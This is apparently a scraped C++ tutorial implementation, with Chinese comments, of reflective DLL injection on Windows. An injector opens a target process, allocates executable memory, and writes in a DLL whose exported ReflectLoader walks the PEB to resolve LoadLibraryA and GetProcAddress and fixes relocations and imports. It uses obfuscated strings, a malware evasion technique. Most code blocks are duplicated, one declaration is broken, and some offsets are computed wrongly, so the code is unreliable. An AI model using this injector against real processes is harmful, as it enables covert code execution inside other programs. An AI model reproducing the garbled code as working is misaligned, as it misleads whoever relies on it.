}
if
(!ProcessId)
printf
(
"\nno find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
//关闭系统进程快照的句柄
return
ProcessId;
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
//查找指定进程的PID(Process ID)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//打开进程快照
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
//开始枚举进程
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
//判断是否和提供的进程名相等,是,返回进程的ID
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
//继续枚举进程
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"\nno find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
//关闭系统进程快照的句柄
return
ProcessId;
}
//与普通dll注入一样,首先要做的是获取句柄
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
//与普通dll注入一样,首先要做的是获取句柄
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
//读取权限
FILE_SHARE_READ | FILE_SHARE_WRITE,
//允许其他进程读取文件|允许其他进程写入文件
NULL,
//不需要特定的安全性
OPEN_EXISTING,
//不需要特定的安全性
FILE_ATTRIBUTE_NORMAL,
//如果文件存在,则打开文件。如果文件不存在,操作会失败
NULL
//普通文件,没有特殊属性。
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
//本地暂存
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
//读取文件放在开辟的空间里,pBuf为空间句柄
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
//读取权限
FILE_SHARE_READ | FILE_SHARE_WRITE,
//允许其他进程读取文件|允许其他进程写入文件
NULL,
//不需要特定的安全性
OPEN_EXISTING,
//不需要特定的安全性
FILE_ATTRIBUTE_NORMAL,
//如果文件存在,则打开文件。如果文件不存在,操作会失败
NULL
//普通文件,没有特殊属性。
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
//本地暂存
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
//读取文件放在开辟的空间里,pBuf为空间句柄
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID
= VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
// 清零目标进程内存
SIZE_T
sizeToZero = TotalSize;
// 需要清零的字节数
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
// 创建一个全零的缓冲区
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
// 写入全零到目标内存
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
// 释放缓冲区
free
(zeroBuffer);
//将dll文件写入进去
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID
= VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
// 清零目标进程内存
SIZE_T
sizeToZero = TotalSize;
// 需要清零的字节数
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
// 创建一个全零的缓冲区
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
// 写入全零到目标内存
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
// 释放缓冲区
free
(zeroBuffer);
//将dll文件写入进去
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const
char
* reflectFuncName =
"ReflectLoader"
;
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const
char
* reflectFuncName =
"ReflectLoader"
;
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
//这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
//定位一些相关文件头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
//获取导出表地址及大小,注意这里是RVA
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
//定位导出表
//这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
//转换之后RVA就变成了文件偏移,然后再定位
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
//解析导出表,这里同理都是RVA
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
// 遍历查找目标函数
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
//这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
//定位一些相关文件头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
//获取导出表地址及大小,注意这里是RVA
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
//定位导出表
//这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
//转换之后RVA就变成了文件偏移,然后再定位
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
//解析导出表,这里同理都是RVA
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
// 遍历查找目标函数
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
// 遍历节区表
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// 检查RVA是否在当前节区的范围内
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
// 转换RVA到文件偏移地址
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
// 如果未找到对应的节区,返回无效值
return
0xFFFFFFFF;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
// 遍历节区表
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// 检查RVA是否在当前节区的范围内
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
// 转换RVA到文件偏移地址
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
// 如果未找到对应的节区,返回无效值
return
0xFFFFFFFF;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll);
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName);
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName);
void
my_wctomb(
char
* dest,
const
wchar_t
* src);
int
CompareStrings(
const
char
* str1,
const
char
* str2);
// DLL入口点函数
BOOL
APIENTRY DllMain(
HMODULE
hModule,
DWORD
ul_reason_for_call,
LPVOID
lpReserved)
{
// 弹窗代码
MessageBox(NULL, L
"哇塞!!你成功啦!!!"
, L
"注入程序检测中..."
, MB_YESNO | MB_ICONASTERISK);
char
processName[MAX_PATH] = { 0 };
// 存储进程路径的缓冲区
// 获取当前进程的可执行文件路径
DWORD
length = GetModuleFileNameA(NULL, processName, MAX_PATH);
MessageBoxA(NULL, processName,
"当前进程路径: "
, MB_YESNO | MB_ICONASTERISK);
Sleep(99999999);
return
TRUE;
}
// 自定义的宽字符转普通字符的函数
void
my_wctomb(
char
* dest,
const
wchar_t
* src) {
while
(*src) {
if
(*src >= L
'A'
&& *src <= L
'Z'
) {
*dest = (
char
)(*src + (L
'a'
- L
'A'
));
// 转换大写字符为小写
}
else
if
(*src >= L
'a'
&& *src <= L
'z'
) {
*dest = (
char
)*src;
// 保留小写字符
}
else
if
(*src >= L
'0'
&& *src <= L
'9'
) {
*dest = (
char
)*src;
// 保留数字字符
}
else
{
*dest =
'?'
;
// 对于其他字符,可以选择替代字符,例如 '?'
}
dest++;
src++;
}
*dest =
'\0'
;
// 确保目标字符串以 null 结尾
}
int
CompareStrings(
const
char
* str1,
const
char
* str2) {
while
(*str2 !=
'\0'
) {
if
(*str1 != *str2) {
return
0;
// 返回差值
}
str1++;
str2++;
}
return
1;
// 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int
CompareDllName(
wchar_t
* dllName,
wchar_t
* targetDllName) {
size_t
i = 0;
while
(dllName[i] != L
'\0'
|| targetDllName[i] != L
'\0'
) {
// 将两个字符都转换为小写进行比较
wchar_t
ch1 = (dllName[i] >= L
'A'
&& dllName[i] <= L
'Z'
) ? dllName[i] + (L
'a'
- L
'A'
) : dllName[i];
wchar_t
ch2 = (targetDllName[i] >= L
'A'
&& targetDllName[i] <= L
'Z'
) ? targetDllName[i] + (L
'a'
- L
'A'
) : targetDllName[i];
// 如果字符不同,则返回比较结果
if
(ch1 != ch2) {
return
0;
}
i++;
}
// 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
return
1;
// 如果两个字符串完全相同,返回 0
}
// 提取 DLL 名称的函数
wchar_t
* ExtractDllName(
const
wchar_t
* fullDllName) {
wchar_t
* fileName = NULL;
wchar_t
* temp = (
wchar_t
*)fullDllName;
// 遍历并找到最后一个 '\\',获取文件名部分
while
(*temp) {
if
(*temp == L
'\\'
) {
fileName = temp + 1;
// 更新文件名的位置
}
temp++;
}
// 如果没有找到 '\\',则认为整个字符串就是文件名
if
(!fileName) {
fileName = (
wchar_t
*)fullDllName;
}
return
fileName;
}
extern
"C"
__declspec
(
dllexport
)
BOOL
ReflectLoader(
char
* pDll)
{
//获取磁盘文件的DOS头和NT头
PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;
//赋值DOS头
PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);
//赋值NT头
//给内存分配空间,并对pAlloc进行初始化
DWORD
ImageSize = pNTheader->OptionalHeader.SizeOfImage;
//内存空间大小
PBYTE
pAlloc = (
PBYTE
)((
ULONG_PTR
)pDll + ImageSize);
if
(pAlloc == NULL)
return
FALSE;
if
(pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE)
return
FALSE;
// 无效的头,直接退出
// 手动实现 CopyMemory 的功能
BYTE
* dst = (
BYTE
*)pAlloc;
// 目标内存地址
BYTE
* src = (
BYTE
*)pDll;
// 源内存地址
size_t
size = pNTheader->OptionalHeader.SizeOfHeaders;
// 需要复制的字节数
for
(
size_t
i = 0; i < size; ++i) {
dst[i] = src[i];
// 逐字节复制
}
//复制节区表
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNTheader +
sizeof
(IMAGE_NT_HEADERS));
DWORD
SecNum = pNTheader->FileHeader.NumberOfSections;
for
(
int
i = 0; i < SecNum; i++) {
if
(pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
pSec++;
continue
;
}
char
* chSrcMem = (
char
*)((
ULONG_PTR
)pDll + (
DWORD
)(pSec->PointerToRawData));
char
* chDestMem = (
char
*)((
ULONG_PTR
)pAlloc + (
DWORD
)(pSec->VirtualAddress));
DWORD
dwSizeOfRawData = pSec->SizeOfRawData;
DWORD
dwVirtualSize = pSec->Misc.VirtualSize;
for
(
DWORD
j = 0; j < dwSizeOfRawData; j++) {
chDestMem[j] = chSrcMem[j];
}
if
(dwVirtualSize > dwSizeOfRawData) {
char
* start = chDestMem + dwSizeOfRawData;
char
* end = chDestMem + dwVirtualSize;
while
(start < end) {
*start++ = 0;
}
}
pSec++;
}
//杜哥部分登场
//开始检测并加载重定位表
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
//重定位表指针通过NT结构的数据目录表查找到位置
int
SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;
//重定位表的大小也在NT结构中
if
(pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
{
do
{
PWORD
TypeOffset = (
WORD
*)((
PBYTE
)pBaseReloc + 8);
//跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
int
num = (pBaseReloc->SizeOfBlock - 8) / 2;
//SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
for
(
int
i = 0; i < num; i++)
{
WORD
type = TypeOffset[i] >> 12;
//TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
WORD
offset = TypeOffset[i] & 0x0FFF;
//去掉类型(前四字节)
int
differ = 0;
if
(type == 3)
{
differ = *((
ULONG_PTR
*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
ULONG_PTR
p = (
ULONG_PTR
)pAlloc + differ;
char
* tagetaddr = (
char
*)(
ULONG_PTR
)pAlloc + offset + pBaseReloc->VirtualAddress;
char
* fromeaddr = (
char
*)p;
for
(
int
c = 0;c < 4;c++) {
tagetaddr[c] = fromeaddr[c];
}
}
}
SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;
//通过字节大小来间接表示个数
pBaseReloc = (PIMAGE_BASE_RELOCATION)((
PBYTE
)pBaseReloc + pBaseReloc->SizeOfBlock);
//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
}
while
(SizeOfBaseReloc);
}
//导入表的处理
//因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
// 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
// TEB和PEB的帮助找到了
//GetProcAddress的地址
typedef
FARPROC(WINAPI* GETPROCADDR)(
HMODULE
,
LPCSTR
);
//LoadLibrary的地址
typedef
HMODULE
(WINAPI* LOADLIBRARYA)(
LPCSTR
);
GETPROCADDR pGetProcAddress = NULL;
LOADLIBRARYA pLoadLibraryA = NULL;
//得到TEB的地址,通过TEB找到PEB
PTEB pTEB = (PTEB)__readgsqword(0x30);
PPEB pPEB = pTEB->ProcessEnvironmentBlock;
// 获取PEB.Ldr
PPEB_LDR_DATA pLdr = pPEB->Ldr;
// 遍历模块列表,找到 kernel32.dll
PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
PLIST_ENTRY pCurrentEntry = pListHead->Flink;
while
(pCurrentEntry && pCurrentEntry != pListHead)
{
PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if
(pEntry && pEntry->FullDllName.Buffer)
{
wchar_t
* dllName = pEntry->FullDllName.Buffer;
// 提取 DLL 名称
wchar_t
* fileName = ExtractDllName(dllName);
// 目标 DLL 名称kernel32.dll
wchar_t
a[50] = { 0 };
a[0] = L
'k'
;
a[1] = L
'e'
;
a[2] = L
'r'
;
a[3] = L
'n'
;
a[4] = L
'e'
;
a[5] = L
'l'
;
a[6] = L
'3'
;
a[7] = L
'2'
;
a[8] = L
'.'
;
a[9] = L
'd'
;
a[10] = L
'l'
;
a[11] = L
'l'
;
a[12] = L
'\0'
;
if
(CompareDllName(fileName, a)) {
//分析PE文件找到导出表
HMODULE
hKernel32 = (
HMODULE
)pEntry->DllBase;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 获取导出表的各个信息
DWORD
* pFunctionNames = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNames);
DWORD
* pFunctionAddresses = (
DWORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfFunctions);
WORD
* pFunctionOrdinals = (
WORD
*)((
BYTE
*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
// 遍历导出表,查找 LoadLibraryA
char
targetName1[50] =
"LoadLibraryA"
;
targetName1[0] =
'L'
;
targetName1[1] =
'o'
;
targetName1[2] =
'a'
;
targetName1[3] =
'd'
;
targetName1[4] =
'L'
;
targetName1[5] =
'i'
;
targetName1[6] =
'b'
;
targetName1[7] =
'r'
;
targetName1[8] =
'a'
;
targetName1[9] =
'r'
;
targetName1[10] =
'y'
;
targetName1[11] =
'A'
;
targetName1[12] =
'\0'
;
// 遍历导出表,查找 GetProcAddress
char
targetName2[50] = { 0 };
targetName2[0] =
'G'
;
targetName2[1] =
'e'
;
targetName2[2] =
't'
;
targetName2[3] =
'P'
;
targetName2[4] =
'r'
;
targetName2[5] =
'o'
;
targetName2[6] =
'c'
;
targetName2[7] =
'A'
;
targetName2[8] =
'd'
;
targetName2[9] =
'd'
;
targetName2[10] =
'r'
;
targetName2[11] =
'e'
;
targetName2[12] =
's'
;
targetName2[13] =
's'
;
targetName2[14] =
'\0'
;
int
isP = 0;
for
(
DWORD
i = 0; i < pExportDirectory->NumberOfNames; i++) {
char
* functionName = (
char
*)((
BYTE
*)hKernel32 + pFunctionNames[i]);
if
(CompareStrings(functionName, targetName1)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pLoadLibraryA = (LOADLIBRARYA)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(CompareStrings(functionName, targetName2)) {
// 找到函数名,获取其地址
DWORD
functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
pGetProcAddress = (GETPROCADDR)((
BYTE
*)hKernel32 + functionRVA);
isP++;
}
if
(isP == 2) {
break
;
}
}
break
;
// 找到后退出
}
}
pCurrentEntry = pCurrentEntry->Flink;
}
if
(!pLoadLibraryA && !pGetProcAddress)
{
char
foece[] =
"无法获取 LoadLibraryA 地址,请检查目标进程模块"
;
return
FALSE;
}
else
{
char
sucsess[] =
"sucsess"
;
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
//这个是IID的指针
if
(pImport != NULL)
{
while
(pImport->Name != NULL)
{
char
DLLname[50] = { 0 };
// 定义一个存储 DLL 名称的缓冲区
char
* pDLLName = (
char
*)(pImport->Name + pAlloc);
// 获取 DLL 名称的地址
// 手动将名称拷贝到 DLLname 缓冲区
for
(
int
i = 0; i <
sizeof
(DLLname) - 1; i++)
{
if
(pDLLName[i] ==
'\0'
)
// 遇到字符串结束符时停止
break
;
DLLname[i] = pDLLName[i];
// 拷贝字符
}
DLLname[
sizeof
(DLLname) - 1] =
'\0'
;
// 确保缓冲区以 '\0' 结尾
HMODULE
hProcess = pLoadLibraryA(DLLname);
//通过名称找句柄
if
(!hProcess)
{
return
FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while
((
ULONG_PTR
)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
//找DLL中函数的名字
if
(pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
//判断如果是序号就是第一种处理方式
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, (
LPCSTR
)(pINT->u1.AddressOfData)));
//通过序号来获取地址
}
else
{
pIAT->u1.AddressOfData = (
ULONG_PTR
)(pGetProcAddress(hProcess, pFucname->Name));
//通过函数名来获取地址
}
pINT++;
pIAT++;
}
pImport++;
}
}
